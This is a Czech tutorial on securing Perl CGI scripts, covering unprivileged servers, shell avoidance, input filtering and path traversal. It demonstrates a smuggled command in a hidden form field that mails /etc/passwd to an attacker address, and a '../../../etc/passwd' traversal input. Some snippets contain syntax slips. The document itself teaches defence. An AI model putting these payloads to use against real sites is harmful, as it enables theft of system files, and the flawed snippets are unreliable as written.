Bezpečnost a CGI scripty |
Většina nebezpečí přichází prostřednictvím vstupních dat, které autor CGI scriptu neočekává.
CGI scripty představují nebezpečí ve dvou směrech:
WWW server implicitně běží na portu 80. Pravdou je, že pro získání portu 80 v operačním systému unix jsou potřeba privilegia root uživatele. WWW server však po nastartování již privilegia nepotřebuje a pomocí volání setuid se jich může vydát. V praxi se do konfiguračních souborů serveru možné specifikovat uživatele, pod kterým server poběží.
WWW server by měl běžet jako neprivilegovaný uživatel. Často je WWW server a tedy i CGI script spouštěn jako uživatel nobody - obecný neprivilegovaný účet. Další možností je vytvoření a využití samostatného vyhrazeného uživatele pro www server. To však neznamená, že WWW a CGI není nebezpečný pro systém.
Nebezpečné akce:
Základní pravidlo: nikdy nedůvěřujte vstupu od uživatele.
<INPUT TYPE="hidden" NAME="FooAddress VALUE="adr@poc.kdesi.com">V CGI scriptu napsaném v Perlu pak k odeslání mailu použije autor příkaz
system("/usr/lib/sendmail -t $adresat < $vstup_soubor");V čem je nebezpečí?
Na základě příkazu system
založí systém nový shell. Autor scriptu nesprávně předpokládá, že uživatel bude script aktivovat pouze z příslušného formuláře a že adresa uživatele bude vždy autorem uvedná adresa. Útočník si však může zkopírovat formulář na svůj počítač, kde ho opravý a výsledek může vypadat např. takto.
<INPUT TYPE="hidden" NAME="FooAddress VALUE="adr@poc.kdesi.com;mail cracker@tady.com </etc/passwd">
V perlu nejen příkaz systém, ale i další příkazy zakládají nový shell /bin/sh k provedení příkazu.
Do problémů vás může přivést také příkaz eval nebo regulární výraz s přepínačem /e.
Předávání hodnot prostřednictvím hidden pole formuláže není vůbec bezpečné. Obsah hidden pole je viditelný ve zdrojovém tvaru html stránky. Každý uživatel tedy může jejich hodnoty změnit např. po lokálním uložení dané stránky a poslat vám do scriptu zcela jiné hodnoty.
2. Vyhněte se spuštění shellu.
Pokud je to možné vyhněte se spuštění shellu. Pokaždé není možné se vyhnout volání příkazu eval(), exec(), system(), popen(). V některých případech však je možné obejít předávání vstupních informací od uživatele přímo do shellu. K poslání mailu můžete použít program sendmail, který má volbu -t. spuštění sendmailu s volbou -t zajistíte ignorování adresy zadané na příkazovém řádku a použití hlavičky To:. Vždy by se mělo zkusit najít cestu, jak se vyhnout spuštění shellu.
open(MAIL, "|usr/lib/sendmail -t"); print MAIL "To: $adresat\n";Potenciálně nebezpečná data nejsou nyní předávaná do shellu, ale do programu sendmail. Pozor ale u některých programů, kde lze speciálním znakem zajistit spuštění příkazu např. unixový mail zvláštním způsobem interpretuje řádky začínající znakem ~ (tilda), je tak možné např. spustit program. Proto je pro poslání e-mailu výhodnější použít program sendmail.
Příkazy system() a exec() v perlu je možné použít bez spuštění shellu tak, že zadáme více než jeden parametr:
system('/usr/hry/fortune', '-o');Podobně je možné použít otevření PIPE:
open(FH, '|-') || exec("program", $arg1, $arg2);
V případě že není možné se shellu vyhnout, pak je potřeba prohledat vstupní data od uživatele a odstranit z nich znaky, které mají v shelu speciální význam.
3. Vyhněte se nebezpečným vstupním datům.
Mezi tyto nebezpečné znaky patří: ;<>*|`&$!#()[]{}:'"\?~^\n\r Všimněte si že obsahují i konec řádky a návrat vozíku.
V podstatě je možné obecně použít dvě strategie při kontrole vstupních dat:
Kontrola, zda jsou data bezpečná:
Př.: Kontrola, zda je e-mail adresa adresáta platnou adresou.
unless($adresat =~ /^[\w@\.\-]+$ { # potencialni utocnik exit(1) }Vyhledání nebezpečných znaků:
Př.:
if($to =~ tr/;<>*|`&$!#()[]{}:'"//) { # Vyskytuje se nebezpecny znak exit(1); }Nebo vyloučení nebezpečných znaků:
Př.:
sub esc_chars { # zameni napr. a!!a za a\!\!a @_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g; return @_; }
open(MAN, "/usr/man/man1/$soub.1");která umožňuje HTML přístup do stránek manuálu. Ale co když uživatel použije soubor ../../../etc/passwd. Proto pokaždé když používáte cestu, kontrolujte výskyt znaků .. (dvě tečky).
system("ls -l /local/web/foo");použijte
system("/bin/ls -l /local/web/foo");